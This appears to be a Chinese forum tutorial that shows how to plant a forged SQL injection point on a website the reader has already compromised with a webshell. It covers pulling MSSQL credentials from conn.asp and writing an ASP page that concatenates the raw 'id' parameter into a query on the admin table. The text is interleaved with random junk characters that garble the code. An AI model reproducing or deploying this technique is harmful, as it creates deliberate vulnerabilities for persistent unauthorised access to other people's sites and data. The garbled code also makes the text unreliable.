首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
8 I& |+ y! g$ @- A: ZASP/Visual Basic代码
% {/ A7 z" O' g' u+ L<!--#include file="xx.asp"-->
8 [+ w& K8 e! S) D7 B* V<% " Y. b$ K3 K( u$ F! Y. l @6 B
set rs=server.createobject("ADODB.recordset") $ x& Z1 B2 b0 V* ^! c3 @
id = request("id") 3 ^/ H" F4 A2 y+ k- K8 b. k
strSQL = "select * from admin where id=" & id / c9 K4 f ~$ M" h) t9 d" N6 v
rs.open strSQL,conn,1,3
B; h. s: R1 krs.close ; _6 D5 O5 Y3 ^" d+ }
%> 5 i6 O* D |+ I+ q% v8 \
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
( S, Y" a, k1 B. A: }然后就要构造一个连接数据库的文件了,代码如下:# V' M9 s1 P! U6 g/ a: Y: ~$ G* Y
ASP/Visual Basic代码
# L+ M: u, d% Q8 N<%
2 @3 _( [5 C4 ~/ L: |: ZstrSQLServerName = "000.000.000.000" '服务器名称或地址
0 X& p8 W+ X7 q0 d; M- M. t% wstrSQLDBUserName = "sqlname" '数据库帐号
0 H- u( w% j7 n, l! r6 W0 ostrSQLDBPassword = "sqlpass" '数据库密码 + Z) L) O- k8 A* z- t3 C R
strSQLDBName = "sqldataname" '数据库名称
- B$ F8 E8 m, m/ Y) W9 zSet conn = Server.CreateObject("ADODB.Connection")
6 C0 \9 Q9 t9 D3 bstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
0 O2 l) T3 x2 V8 h/ W! _conn.open strCon
( m/ @* B% u% C%> + q( }; |* ~( j: o+ j2 T
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功5 }# Q1 \, ^8 L: h/ C U8 C
|